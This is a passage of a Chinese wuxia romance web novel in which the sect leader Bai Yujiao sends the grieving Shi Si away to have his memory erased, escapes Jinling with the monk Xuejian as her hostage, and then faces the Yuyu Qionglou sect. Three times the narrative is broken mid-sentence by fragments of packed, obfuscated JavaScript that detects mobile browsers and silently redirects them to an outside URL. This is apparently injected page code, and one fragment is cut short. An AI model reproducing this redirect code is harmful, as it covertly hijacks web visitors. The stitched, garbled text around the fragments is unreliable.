“我只是担心小白,若是生病了,染上城里的瘟疫就不好了。” “我家的闺女我自然会照顾。”沈墨白也笑,他说完,扔下背后脸色不好看的颜静行,一把把我抱起来,转身就走进了小院,甚至还不忘一脚把院子门给踢上。 这明显是在像颜静行宣告:闲人禁止入内。 沈墨白把我带回房间,先把我安置在床上,又转身翻箱倒柜地找出来药箱放到床边。 “现在金陵外到处都是逃难的流民,你一个人,又带着伤。这时候走危险,再留几天吧。”沈墨白蹲在床边,低着头,捣鼓手里的伤药和纱布。他说得言简意赅,语气也很平静,似乎只是在陈述事实不带任何个人情感。 他说的这些我都想到了。 我可是惜命得很,丝毫没嫌弃自己命长。所以我才会先打道回府,不然刚才十四走的时候我早就走了。 但是为了面子,我还是翻着眼皮仰望天花板,沉默了几秒之后才说,“那我再留两天。” 沈墨白低头轻轻“嗯”了一声,听不出情绪。 我突然觉得……心里有点不太舒服。 我才不是内疚什么的,只是觉得这家伙其实有点可怜,我是同情,同情! 说起来这次沈墨白帮我解围,算是救了一次。我摆脸色给他看也有点说不过去,想到这里我放缓了口气,“你以后对你未过门的老婆好点。人家毕竟心里是喜欢你的,被自己喜欢的人无视了多可怜啊。” 沈墨白听到这里,手上的动作顿了一下。忽然,他闷闷自语了一声,“以前不觉得,现在多少有点理解了。” 他声音很小很小,正常人的听力肯定听不见他在说什么。 但,爷爷我那双高科技雷达狗耳把这句话听得是一清二楚。 一瞬间,气氛又变得尴尬而紧张起来。 我受不了这种气氛,于是开口赶人,“那个……我要脱衣服上药了,你出去吧……” 沈墨白“嗯”了一声,手一撑膝盖,站了起来。 他转身走向门口,过程中没有看我一眼。似乎从进了房间,他就再没看过我了。 当他一只手搁在门上,将要开门的一瞬间,忽然,他的动作有些生硬得停住了。 沈墨白对着扇们,暗自一个人纠结。他吸了口气,再吐出来,又摇了摇头。 我觉得他大概要憋得内伤了,于心不忍,所以没忍住问了句,“你到底想说什么?” 沈墨白犹豫了一下,“也没什么……只是想说,你今后自己一个人也别老这幅样子在江湖上漂着,找个能落脚的地方就暂时安定下来一段时间,等身体恢复了再回江湖。报仇什么的十年不晚不是么,已经等了十年了,还怕再等几年么?” 我戏谑,习惯性呛了他一句,“怎么?你还真怕有一天跟我兵刃相见?我要是去血洗琼楼玉宇,你会来阻止我?想不到你这么忠君爱国爱组织啊。” 却不料,沈墨白认真地“恩”了一声。 我自讨没趣,没再接着往下说。 “你好好照顾自己,好好活着。”沈墨白一只手推开了门,同时撂下这么句话。 我突然觉得自己有一丝恶劣。 我拒绝了沈墨白,对他说“形同陌路”,却还在享受着他对我牵肠挂肚的那一份优越感,以及有人会时常记得我的那一丝自我满足。 沈墨白一只脚已经迈出了门槛儿,我冷哼了一声,“怎么?你这是在跟我诀别呐?” 沈墨白仍旧没有回头,他的语气里也听不出与我有一样的轻松,“我们总有一天还会再见。我只希望这天不要来得太快。” 沈墨白之后就推门走了。 ··· 我一个人哼着歌麻利得上完药裹好纱布,顺便用温水把身体擦了一遍,换上睡衣正准备睡觉,突然响起了敲门声。 我“腾”地一下掀开被子从床上坐起来。 然后我就后悔自己忘记把门闩给插上了,这家伙竟然自己推门进来。 来的人是颜静行,她手上还端着一个药碗。 “我去要了碗姜汤来,还好伙房里一直都在熬着。”她说着,端着药碗在我床边坐下。 我看着眼前的液体,鼻子闻了闻,一股甜甜的姜味,甜味里头又藏了一丝苦。 我看着她。 她看着我,神色坚定,似乎是我今天不喝下这东西就别想睡了。 末了我缴械投降。 “颜姐姐,你还真闲……”我端过药碗,有点怨念地嘟囔了一句。 颜静行也听出我口气很不满,抬手戳了一下我的脑门,“你这孩子,真不知好歹。沈墨白把你当家里人,我自然也会把你当自家人看待。现在多少人连口水都喝不上,你还有热汤喝,知足吧。” 我一口气喝完了那碗汤药,把碗一把推给她,“现在我可以睡了吧?” “嗯。”颜静行接过碗,露出了一个心满意足的微笑。她起身,顺便拍了拍我的肩膀,“好好休息,别睡过了误了午膳。” “知道啦知道啦,姐你这还没嫁呢就先人妻了。” ···· 接下来的几天我一直在养伤,每日吃饱了倒头就睡,睡醒了就去摸东西吃。吃吃睡睡,一来二去伤好了七八成。 这些天,老天爷也终于给面子了,不再狂降暴雨,连续几日都是晴天,水患的闹腾劲儿也消停不少。 我算准了日子,打算明日启程离开武林盟。但是悲催的是,今天傍晚开始,天色越来越阴,黄昏时,又淅淅沥沥下起了雨。 老天爷,你到底是要闹哪样?存心是不想让我走啊?! 莫非是沈墨白这货在暗地里跳大神…… 我正趴在窗口,撑着下巴看屋檐淅淅沥沥垂下来的雨帘。忽然,院门一下开了,秦黛黛小美眉出现在门口,她飞快跑在园子的青石路上,踩到一块凸起的石头还滑了一跤,差点没一屁股坐地上。 我默默看着她,默默替峨眉派的前途担忧。峨眉一个个都是这样的妹纸,照这样下去,峨眉剑派很快就要挂牌改名为峨眉啦啦队了。 我本来以为秦黛黛是忘记带了什么东西回来取,但她却直扑我的屋子,哐哐哐得狂敲门,“小白!你出来!” 我把头从支起来的窗口探出去,“咋了?” 秦黛黛二话不说,猛的一提气,竟然使出轻功跃到窗口,两只手绕到我的胳膊下面,把我给从窗口给拽了出去! 我大惊! 秦黛黛你哪根筋不对了啊?! 秦黛黛轻功没停,脚不沾地草上飞一般掠过重重回廊,我听到风声雨声,读书声——那倒没有,在耳边呼呼作响。 秦黛黛带着我狂奔八百米,终于气喘吁吁停下了。 这妹子,体质还真是不好。 我拍拍她的后背帮她顺气,“你干嘛啊?出什么事了?难道是洪水来了?” 秦黛黛困难地摇头,使劲咽了咽唾沫才勉强开口,“洪水没来!你哥来了!” 我哥?谁啊?还我嫂子呢。 突然,我明白过来秦黛黛指的人是谁——是十四。 我脸色微变,“在哪里?” 秦黛黛指了指柴房后面偏门的方向,她一边大喘气一边说,“沈盟主挡着他不让他进门,我也不知道是怎么了。觉得气氛不对,所以去找你。” “行,”我拍拍秦黛黛的肩膀表示感谢,“你在这里先喘着,我去看看。” 我说完,撒丫子飞奔而去。那速度比秦黛黛用上轻功全力奔跑还要快上两倍。 我几乎是一个眨眼间就跑没影了,剩下秦黛黛连大气也不喘了,目瞪口呆张口结舌,站在原地发呆。 偏门是开在柴房后面的小院儿里,方便杂货进出。最近这门几乎没人用。 我冲到地方的时候,看到沈墨白和十四一个人站在门里,一个人站在门外,都默不作声,都淋着雨,活像两尊凶神恶煞的门神。 我没看沈墨白,目光一直停在十四身上。 十四的眼神暗淡,面色灰白,头发凌乱而潮湿地披散着,整张脸都被张牙舞爪的发丝遮蔽。他的身体被笼罩在雨雾中,只觉得一片灰蒙蒙的让人看不真切,简直要融化在了雨里。 与几日前相比,他狼狈得更甚。简直就像是一条被遗弃了的流浪狗,被折腾得一身泥一身脏一身伤,奄奄一息地躺在路边找不到一个容身之所。 我站的那么远,都能闻得到他身上散着的浓浓的酒味。 十四看到我,身体微微挪动了一下。 几乎是同时沈墨白拇指一弹,剑锋滑出剑鞘一寸。这是第二次,我看到他拔剑出鞘。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16349877|183548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >沈墨白曾说过,这剑,不嗜血,绝不归鞘。 沈墨白特痞一笑,语气里带着鲜明的威胁,“她都已经让你砍了一刀了,你还想怎样?” 十四却没有理他。他微微动了动嘴唇,过了很久,才轻轻吐出两个字,“教主。” 他声音很轻,轻的好像只是浅浅吐了口气。 这两个字却像有千斤重一般,瞬间重重砸在我心口。我几乎是不可置信得抬眼盯着他,以为自己听错了。 在我自己能够反应过来之前,我已经大步走到门口。经过沈墨白身边的时候,突然抬手猛的按了一下他的手腕,生生把那拔出了一截的剑又按了回去。 我站在十四面前,抬头盯着他的眼睛,想从那双已经失去聚焦的眸子中看出些睨端。 我近距离盯着他的眼睛,他现在看上去简直就是一具灵魂被抽走了的行尸走肉,我几乎不能确定他此时到底是清醒着还是完全已经意识模糊了。 “十四?”我忍不住伸出手,想要去摸他垂在袖底的手。 然而在我碰到他之前,他忽然身体一矮,重重跪在了地上。 “我下不了手。”他茫然无措得摇着头,“我做不到……” 我的手停在了半空。 我慢慢低下头看着他,一时间都没有注意到自己的动作有多僵硬。 “我下不了手!我做不到!”十四猛然惊醒了一般,突然一拳拳重重砸在青石地板上。一瞬间,凸凹不平的地面上就留下了一片鲜红色的血印。 他几乎是崩溃地一下下重重捶着地面,咬紧了牙关,一句话也说不出来,只有透明的液体随着鲜血一起,一滴滴重重砸在地面上,摔得四分五裂。 鲜血四溅,血肉模糊,我大概只能找出这样的形容词来形容眼前的这一幕。 雨声渐渐紧起来,除了雨声,就剩下血肉与石头相击的沉重闷响。 我不知道自己什么时候开始咬紧牙关的,等我注意到的时候,下巴已经酸了。 我慢慢在十四面前蹲下,一只手轻轻覆上他的侧脸。 “十四,你是不是下不了手报仇?做不到杀了我?” 十四的动作突然停下了。他的身体在一瞬间变得僵硬,我感觉到他全身肌肉一直在紧绷,直到全身都微微颤抖起来。 我没想到,他竟然会痛苦到这种地步。 我以为他会彻底放下这十年他对我那些愚蠢的忠诚,抛却他误解了的恩情,抹销他可笑的崇拜……然后,变成一个我不认识的人,总有一天,耀武扬威气势汹汹来找我报仇。 我没想到,他竟然放不下。 我没想到,他对我的感情竟然重得过血海深仇不共戴天。 “教主。”忽然,十四开口了。声音是让我出乎意料的冷静。他依然垂着头,我看不到他的表情,“请您……把我的记忆再消除掉一次。” 我瞬间愣住了。 十四你疯了吧?! 一直抱着手臂靠在门边的沈墨白,这时候冷笑了一声。 “痛苦得连自己的存在都要抹杀掉了?你这么懦弱?能耐就这么点?” 我回头,丢给沈墨白一记冷眼,“你给我闭嘴!” 沈墨白虽然口吻讽刺,但神色却也想当复杂。他闻言冷冷转过头,看向了别处。 我沉默了一会儿,“你想清楚了?” 十四没有回答。 “真的决定了?” 十四抬起了头,透过散乱的发丝,我看到他的眼睛。 一瞬间,他的混乱他的痛苦他的不知所措全数落尽我的眼中。 “我知道了。”我说完,忽然冷不防一伸手,一个手刀砍在十四的后颈。 十四最后一直执拗得看着我,仿佛是想把我的脸印入灵魂里一般。直到他倒在地上,才缓缓阖上了眸子。 这时候,沈墨白抬着头看着天空,忽然自言自语了一句,“我到底在干什么啊……” 他表情很空白。看上去呆呆的。 谁知道啊? 我也想问——我到底在干嘛? “沈墨白,最后拜托你一件事。” “说吧。” “帮我完成十四的愿望。抹了他的记忆。” “可以。” “没完呢,然后安排给他一个新的身份。其实他是个本质很不错的孩子,武功又好,对你也会有用的。不要向他再提起我,不要让他再与我有任何瓜葛。” 沈墨白深深看了我几秒,最后点头,“可以。” “啊对了,还有一点,他要是问起来,你就告诉他,他姓穆,名忘尘。来历不明,无父无母,无亲无故。” 天地之间茕茕孑立。 没有过去,没有瓜葛,没有恩怨,一身清白。 只希望从今以后,无论是穆少卿的记忆还是十四的记忆,他都能一并忘却干净,至此忘却前尘,从今以后不会再被那些痛苦牵绊。 沈墨白定定看着我,看了很久之后,他忽然叹了口气,有点无奈还有点别的我不懂的情绪。 “我有点羡慕这死小子啊……” 我瞥了他一眼,“神经病。” 择日不如撞日。 我觉得此时时辰大好,适合出行赶路。 黄历神马的爷才不查,爷就是黄历。 “沈墨白我走了,不送。”我说完,一脚迈过十四,大摇大摆走进了小巷。 沈墨白站在门口,什么也没说,什么也没做。 我不知道他有没有一直在看着我的背影,因为我没有回头。 42. 相逢谁信是前缘 雪鉴果然很怪。我一直觉得这货行为举止很奇怪。 有时候清心寡欲得像尊泥菩萨,有时候又世俗老辣得像个把世事都看透的官场高手。他混迹在武林盟里如鱼得水,因为盟主不怎么靠谱,男女老少都把他这个副盟主当心里寄托的对象。 我挑眉看他,眼睛里带着怀疑,上上下下打量他。 雪鉴还是笑,眉梢挑着,笑得一脸邪气。 你知道一个帅和尚笑得邪气会怎样吗?我靠啊,那挑逗的眼神配上禁欲气息简直就秒杀啊! 帅和尚非常直白得问,“你武功怎么了?” 我眯着眼睛瞪他,缄口不言。 他就继续问,“你受伤了么?被暗害了?谁干的?刚才那个女人是谁?你这是要去哪?我没听说白玉蛟你是个哑巴啊。” 我冷冷“哼”了一声,“你丫废话真不少。要动手就快点。” 雪鉴忽然向前走了两步。 我差点想后退,但是想想——这架还没掐起来,气势怎么能输呢!——于是老娘一副英勇就义似的动作,梗着脖子站着没动。 “顾染织离开金陵之前交代我,若是碰上了你,就帮你一把,算是还了十五年前的人情。” 我惊了一下。顾染织怎么还留了这么一手?!雪鉴难道是咱魔教的卧底?!不会不会,这家伙全身都散发着“我是得道高僧”的佛光,绝不会是无间道。 那……雪鉴和顾染织之间,有一段不能说的……基情? 我瞪着眼睛盯着雪鉴,兀自飞快得脑补着。 雪鉴忽然把一把匕首放到我手里,对我笑着说,“我就知道你肯定不会记得我了。待会儿,要是武林盟的人包围了你,你就挟持我趁机逃走。” “我怎么知道你是不是在耍我?!”我瞪了他一眼,我靠,这家伙这么奸诈狡猾,我哪能那么轻易相信他。 “白教主,你还记得十五年前你救过我么?” 我愣了愣。 说实在的。 还真不怎么记得了。 “我叫顾染衣,是顾染织失散多年的亲兄弟。” 雪鉴突然那么一说,我终于有点想起来他是顾染织的什么人了。 我第一次碰到顾染织是在十几年前,具体数字记不清楚,雪鉴说是十五年,那大概就是了。 ··· 顾家的事,发生在十多年前。 现如今,除了当事人之外,大概已经没几个人能记得住了。 顾家的遭遇也算是寻常。寻常得被牵连进了严重的政治斗争里,寻常得成了牺牲品,落了个满门男丁斩首,妇孺充军的下场。 唯一值得一说的是顾家的少爷,顾怜香。当时京中人称“怜香公子”,风流倜傥,诗书酒茶琴棋,无一不精。挥毫为书,泼墨为画,拨弦成曲,出口成章。而且,这人更有一张足以倾国的姿容。举手投足间,儒雅风流,一时间风头大起,不知迷倒了多少闺阁少女。 这样的人百年难寻,于是被当朝最受宠的公主钦点为驸马。 虽然后来因为有驸马一职而免于受到牵连,只可惜,因为家中事,年方韶华便在京中郁郁而终。 除了这个顾怜香风声夺人,其实顾家的几个小公子也都是各个风姿卓越。只是大哥的名头太响,再加上出身为庶,并没受到太多的关注。 顾家的人在充军的途中,因为皆是老弱妇孺,病的病死的死,一片凄惨。押送的军士见顾家两个小公子长得俊俏,心想能多捞就捞点,便在途中借口说这两人已经病夭,把他们卖给了途中经过的馆子。 话说到这份上,也该说说我跟他们是怎么勾搭上的了。 具体当时是个什么情况其实我也记不得了…… 当时,我还刚穿来没多久,年纪小嘛,特调皮。于是趁我师傅不在,总喜欢女扮男装跑到锦官城里头花天酒地。 那一次,我就是带了几个暗卫就偷偷跑到了锦官城里最大的一处欢场里头寻欢作乐。 正巧,当时碰上了这家店刚得了一批新人,这批新人质量都颇为不错,于是老板特意搞了个什么“折花会”,直白了说就是“□□大会”。蜀中男风颇为盛行,所以当时那个大会办的相当盛大热闹。我本来没想凑这个热闹的。就是看着许多人凑在那边,人头攒动,好像有什么好玩的事,于是就挤进去看热闹。挤进了园子,落了座,才发现好像找错门了。 顾染织当时年纪才一点点小,别看他小,骨骼清秀挺拔,一眼就能看出来是个美人胚子。他还挺枪手的,好几个老爷们儿状的家伙轮番叫价,最后一夜被叫到了几百两银子。 我对美少年没兴趣,所以顾染织被推上去叫价的时候我压根没举手。 我本是抱着看热闹的心态,没打算参与。但是,顾染织被老鸨领着走到我身边的时候,突然打了鸡血一般向我扑过来,一下子从我绑在靴子上的刀鞘里,把我的小藏刀给拔出来了。 他拔出刀,一刀直直就往喉咙里扎,动作决绝果断,连我都忍不住暗赞了一句“有节操有个性”。 我家的暗卫根本就没防备这小子,看到他扑过来这一幕魂儿都吓掉了,还以为他要谋害我,所以想都没想就一脚踢出去。 于是,顾小哥自杀未遂,被我家凶悍的看门狗给踢飞了撞在柱子上,小刀也掉在了一边。 我看到顾染织勉勉强强从地上爬起来,第一件事竟然就是抱着柱子,妄图一头撞死在柱子上。 顾染织的那个买家看到了这一幕,大概是觉得自己颜面尽失,于是暴跳如雷。 他一招呼,身边的手下们就一个箭步冲上去,拎着顾染织一下子按在地上。 顾染织那年纪,那身段儿,在暴躁的家丁大汉面前跟小鸡仔似的。打来踢去,虐来虐去,没两下我就看他缩成一团不能动了。 本座这一晚本来兴致不错,这下子也被扫了兴。 于是,本座本作拉下脸来了。 本座很不爽,后果很严重。 我当时“嘭”得一声,一巴掌拍碎了一张桌子,借力一跃而起。 一瞬间,我便闪身到顾染织身边,跳起来一个回旋踢,把那五六个彪形大汉踢飞。那些人张牙舞爪飞出去,啪啪啪啪啪,又砸烂了五六张桌子。 我这么一闹,所有客人都鬼哭狼嚎,吓得跑没影了。 园子外一片嘈杂,园子里一片静默。 我俯瞰着倒在地上的顾染织,他也挣扎着撑起身体,在看着我。 “你挺有趣的。”我笑。 因为,此时顾染织竟然伸出一手,死死拽着我的衣摆。他这是想让我给他个痛快的一脚踢死他么? 顾染织捂着胸口,吸气吸了好久,才勉强能发出声音来。我看他大概是被踢伤了肺。 顾染织张嘴的第一句话是,“救我哥。” 我微微怔了一下,随即回头顺着他的目光看过去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16349878|183548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>园子里还有个男孩子没跑,他就站在离我不远的地方,有些惊恐地看着那两个站在我背后的“大狼狗”,不敢靠近。 我眨眨眼睛笑了,“凭什么呀?” “我一辈子给你当牛做马。”顾小哥说得很坚决,语气很成熟。我听着就想笑。 我装模作样考虑了一会儿,然后蹲下来,拍拍他的脸问,“心甘情愿?一生不悔?” 顾染织沉默了一会儿。他黑亮的眼睛看着我,最后沉默得点了一下头,很郑重。 “好,我答应你。我救你哥,你跟我走。” “嗯。” 我当时觉得顾染织这小孩儿太好玩了,于是故意逗他,“既然你那么乖,我告诉你个秘密。” 说到这里,我故意压低了声音凑近他,神秘兮兮说,“我呢,其实是镜花宫的少主。” 顾染织抬着眼皮看着我,神色淡然。 我觉得他应该知道镜花宫是什么东西,只是他好像丝毫不在乎。 “这么淡定?”我挑眉,觉得心有不甘。转念,于是又生一计,“那我再告诉你个秘密,”我坏笑了两声,小声说,“其实我是女的!” “?!” 当即,顾小哥的脸不淡定了。 当时他那表情可爱的要死,我曾经拿这事儿嘲笑了他好久。 不过这些都是很久以前的事了,也不知道他还记不记得。 ··· 我微微张了张嘴,终于了然眼前这个帅和尚是谁了。难怪长得美型,原来是我家阿织的亲兄弟。他们顾家的基因也真够强大的。 我眯着眼睛瞧他,心里暗暗盘算着:我要是把他收了,左拥右抱,玩个3P什么的也不错嘛…… “想起来了?” “有点印象,”我摆弄了一下手里的短匕首,“你这些年跟顾染织都有联络?” “我知道他在镜花宫,所以,等我在少林稍微站住脚了就去找过他。” 我摇头一笑。 顾染织这小子,在我眼皮底下连少林寺的高僧都敢勾搭,这胆子也忒大了。也不怕被查出来告他一个通敌卖国,到时候死了也不知道到哪儿去喊冤。 我虽然知道雪鉴是谁,也不能完全相信他。 这人奸诈狡猾得很,万一他坑我,趁我对他放松警惕把我给擒住了,那我不是冤大了。 “正邪不两立,你这样帮我,不怕被拆穿了你自己也遭殃么?” “好歹你也救过我,这一恩,我趁早还了你我自己心里也舒服。”雪鉴说到这里,眼睛紧紧盯着我,眼角微弯带上些许的笑意,“你若是不信我,那就威胁我来救你好了。” “呃?” “你可以威胁我说:‘你要是不救我,我就把你的胞弟是顾染织的事情告知天下,如此一来你也难以在名门正派立足,你一世前途即毁。’你也知道,这些名门正派在乎的就是家世出身,若是查出来我与魔教有这一层关系,我就再难在江湖上混下去了。凤栖梧不就是个前车之鉴。” 我看着雪鉴,真没想到他会这么说。 看样子他是真心想救我,人家诚意都拿出来了,我也不好再继续像个绣花枕头似的怕这怕那。 于是,我一步晃到他身后,右手手腕一转,左手一绕,变成了左手勒住他的脖子,右手拿刀顶住他喉咙的动作。 “雪鉴大师,那咱们废话不多说,你快点给我指条明路,渡我过彼岸吧。” 43. 可恨的富二代男啊,你苦苦隐瞒身份为哪般? 武林盟的人赶来的时候,我已经劫持着雪鉴跑到了南城门口。 武林盟此时人手不足,被秦黛黛萧暮山等十几人围起来的时候,其实我也没多大压力。毕竟眼前这些都是整天看熟了的脸:恋童癖萧暮山蜀黍,花痴女秦黛黛小美眉,还有口音很怪的张教头,以及一帮平时很爱晒肌肉搞基情的虾兵蟹将。他们有几斤几两我一清二楚,弱点什么的也了然于心。 可惜同志们现在已经不再是一副平日里和颜悦色的模样,众人都换上凶神恶煞看门大狼狗表情,对我怒目圆瞪,亮出白森森的牙齿,晃着手里明晃晃的管制刀具。 秦黛黛虽然很怕我,但是好像更怕我伤了雪鉴,弱弱躲在萧暮山身后叫了声,“白、白玉蛟,你快点放了雪鉴!你杀和尚小心佛祖诅咒你!” 我此时正一只手握着匕首架在雪鉴白皙的脖颈上,刀锋下面的大动脉清晰可见。 闻言,我邪笑着强迫雪鉴把脖颈又仰高了一分,“放了?那可不行……我对雪鉴大师可是一见倾心,这样的美色,我怎么能放过?” 萧暮山一听就怒了,吼道,“堂堂七尺男儿,怎容得恁在这里欺凌?!”他说着,手里的长剑倏然一抖,剑招已经落在了起式上,剑锋眼看着就要往我脸上招呼。 我微微略后退了一步,心想本来就没多少力气,现在又挟持者个人,这要是打起来了不是更不好动弹。 “萧副盟主稍安勿躁。” 忽然,悲催的肉票雪鉴同志,一句话制止了萧暮山的动作。肉票同志他临危不乱,气定神闲,低眉敛目微微一笑,似乎对自己现在的境遇丝毫不担心,“诸位,武林盟已经与镜花宫订下了互不侵害的契约。契约订立不到半年,在这种时刻,我等应当遵守诺言,切不可逞一时之气,背信弃义。若因此事而又挑起纷争,实在非我所愿。所以,请诸位同僚不要为难白教主。” 秦黛黛一听就急了,“我们不为难她,但是她会为难你啊!” 我趾高气扬哼了一声,看秦黛黛的目光特别不屑,“你们这些所谓的名门正派,说话跟放屁似的,整日食言而肥。我手里若是不捏着个人质,难保你们会不会一涌而上扑上来砍我。” 雪鉴微微侧头看向我,嘴角挂着看破红尘高深莫测的微笑。 我被他看得心脏微微一动。啧,这和尚演技还真好,不愧是顾染织的兄弟——是个让人看不透的人物。 “白教主说得有理。诸位,我相信白教主是个信守诺言的人,我这就送白教主一程。白教主,待您安全出城,就放我回来,可好?” 我眼睛瞥了瞥周围,目光淡淡从在场的人身上划过去,继而冷冷说了两个字,“可以。” 秦黛黛还想说什么,却被萧暮山一把拉住了。 “好,就依你。白玉蛟,你最好信守诺言!若是半个时辰内雪鉴不回来……” 萧暮山说着,一挥手,我背后的包围圈就裂开了一个缺口。 我架着雪鉴从那个缺口向后退,听到萧暮山的说辞,翻了个白眼,“萧暮山,你也太啰嗦了!要事他不回来我就倒贴给你当老婆行了吧?” 我话音一落,萧蜀黍的脸“唰”一下从脑门开始,一层层一直红到脖子根,然后像是被噎住了似的一个字也说不出来。我都走了好远了,才听到他一声发飙的怒吼,“谁要娶恁这个恶婆娘?!” ··· 雪鉴为我指路,金陵城外不出三里,道路就已经被阻塞,最后我们停在了河堤旁。 雪鉴站在江边,奔腾的河水掠起狂奔的风,卷起了他白色的衣摆和衣袖,翻飞如狂。 雪鉴指着江水湍急的河水,神色淡淡的,“你若是想离开金陵,就要横穿过这条河。此处是河道的最窄处,跨越这里,对于你白玉蛟来说,应该不是什么难事。” 我站在河堤上,眯起眼睛瞅着那在凛冽的罡风下汹涌奔腾的河水。河水中卷着泥沙,浑浊得看不出颜色。偶尔一个浪头摔在堤岸上卷起来,能足足有两米高。 整个河宽大概有二十米,若是以前的我,飞跃个大峡谷都没问题,这种小水沟自然不在话下……但是现在我内力不济,体力不支,头晕眼花又腰酸无力,要我用轻功飘过去,我还真没太有底儿…… 雪鉴似乎是看出来我在想什么,有点挑衅地轻笑了一声,“你不是白玉蛟么?蛟龙也会怕水?” 我眼角横了他一眼,“你激我也没用,谁没个背运倒霉的日子?姐姐我这是小心驶得万年船,可不能在这种小水沟里翻了。” 雪鉴笑,指尖往江心一点,“江心有一块凸起的石柱,你可以在中途踩它借力。” “你怎么不早说!”我白了他一眼,刚想目测一下距离,却忽然看到雪鉴猛然抬起头,脸色微微一变。 我还没来得及问,雪鉴忽然运气,丢下一声“白玉蛟,你好自为之。”便一个凌波微步跑没影了。 下一秒,我就知道雪鉴为什么这么急着撤了。我回首远望,只见,一片白花花的人影伴随着背后飞扬的尘土迅速由远及近,向我席卷而来。为首的几个人直接弃了马,白鸟似的身影在空中几个起落,刹那间已经杀到了我眼前。 我站在原地骂遍琼楼玉宇的祖宗十八代。 我今天的霉运到底还有没有个头啊?!送走了武林盟的人,怎么琼楼玉宇的人又阴魂不散得缠上来了?! 心里骂得他们狗血临头,表面上我还是一副好整以暇的模样。 “白玉蛟!”为首的男人一撩帽兜,露出帽檐下面的脸。 我一看,半熟不生的一张脸。于是微笑着对他摆摆手,跟他打招呼,“呦,白斩鸡。” 白斩鸡一听就暴走了,“我不叫白斩鸡!我叫白斩瑜!” 我摊手,无赖道,“什么鸡呀鱼呀的,何必那么认真呢?开玩笑罢了……你们摆这么大阵仗,这是要干嘛啊?欢迎我吗?咱们都是老朋友了,何必那么客气。” 眼前,起码有二十名玉宇琼楼的属下已经把我呈半圆形包围在了河堤边上。我看这阵仗,今天这事儿是不能善了。 白斩鸡一脸凶神恶煞,瞪着我那眼神恨不得一口吃了我。 “白玉蛟!谁跟你客气!少嬉皮笑脸的!你这十年来,杀我楼中弟子成百上千,这笔账,我今日就要你血债血偿!” 我哼了一声,“说得好像我的人你们没杀过似的。喂喂,就你这样的小角色,也不掂量一下自己的斤两,竟然想动我一根寒毛?而且,”我眯起眼睛,眼中闪过一丝危险的光,“你这是打算撕毁盟誓么?不怕明日就招致江湖新一轮血雨腥风?” 白斩鸡脸上浮现一抹狠辣,他反手抽出腰间的剑,“白玉蛟,不要以为我们会像武林盟的那帮废物一般好打发。你以为我看不出你受了内伤?现在的你,根本就不是我们的对手。镜花宫若是没有你,不过就是一帮乌合之众。只要你一死,不怕那镜花宫不会立马分崩离析!” 我心里想着倒霉啊倒霉,真是福无双至祸不单行,今天我这霉运是3P4P5P一起上啊。 心里虽然抱怨着,身体的第一反应却是“先下手为强,擒贼先擒王,骂人先骂娘”! 在白斩鸡的剑尖刚刚脱离剑鞘的一刹那,我已经“嗖”得一下,鬼魅般飘到了他面前,手中的匕首虚晃一滑闪到他胸口。白斩鸡在慌乱中去格挡之时,我却突然泄了匕首之力,重心一变,一脚踢起他身旁一人腰间的长剑,随即一个猛转身,拔出那人的剑,借着旋身的惯性,一剑抹断了旁边一人的脖子。 然后,在电光火石间俯身,躲过白斩鸡劈山开石的一剑,匕首猛的插进了白斩鸡的脚背。 丫的我插不死你! 我飘然向后掠起,悠然落地。白斩鸡低吼了一声,声音若狂暴的猛兽,隐忍着愤怒和痛苦。他身边,那人颈动脉喷出的鲜血足有三米,在我和琼楼玉宇一干人等之间降下一道血幕。 我淡定得站起来,手腕转了一下,把刚才杀人的长剑在手里挽了个极其繁复的剑花。 “你们还挺幸运的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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我微笑这摇了摇头,手腕一转,反手,决然挥剑,斩断了扣在肩胛骨上的那支玄铁箭矢的羽尾。 沈墨白定定看着我,他表情有些迷乱。他倾身,向前微微迈了一小步,他的表情似乎是想要说什么,但是在纷乱嘈杂的人声中,我什么也听不到。 看着沈墨白那纠结的表情,我仍旧是笑着,不是苦笑,是笑得很开心,仿佛是想起了什么特别搞笑的事情。 我挑起一侧的眉梢,露出一个鄙夷的浅笑。慢慢抬起手,指尖遥遥地点着沈墨白,懒懒问,“你,是谁?” 沈墨白咬牙,我看到他额角的青筋都隐隐浮现。 白斩鸡在旁边大声道,“他就是玉宇琼楼的少主,将来玉宇琼楼的执掌者!” “哦?是么?原来是你。”我歪了歪头,保持着脸上仿佛面具一般的微笑,用黏腻的嗓音慢悠悠道,“听说,当年截杀我师傅冷将息也有你一份?当时这消息在江湖上还被抄得沸沸扬扬呢,‘玉宇琼楼十四岁的少当家,擒杀魔教教主’什么的,是么?” 沈墨白的呼吸有些紊乱,但他仍旧只是默默看着我,眼神复杂得让人觉得难受。 但是我不觉得难受。 我只觉得可笑。 简直就是这天下第一大笑柄。 我自己。 “好,沈墨白!”我一字一句咬着他的名字,“我白玉蛟记下你了!我师父的仇,连同今天这笔账,我会向你,向玉宇琼楼,好好的讨回来!” 我说完,猛得提气,逆风身体向后掠起。 一瞬间,脚下已经全然是滔滔不绝的奔腾江水。 我看到江心那块凸石,但是…… 我掠起的时候牵动肩膀上的箭伤,一瞬间有些泄力,此时不知道为什么我的内力也变得极其不稳定。总之,我就是个强弩之末,摆脱不了地心引力了。我知道,我八成是落不到那块儿破石头上了。 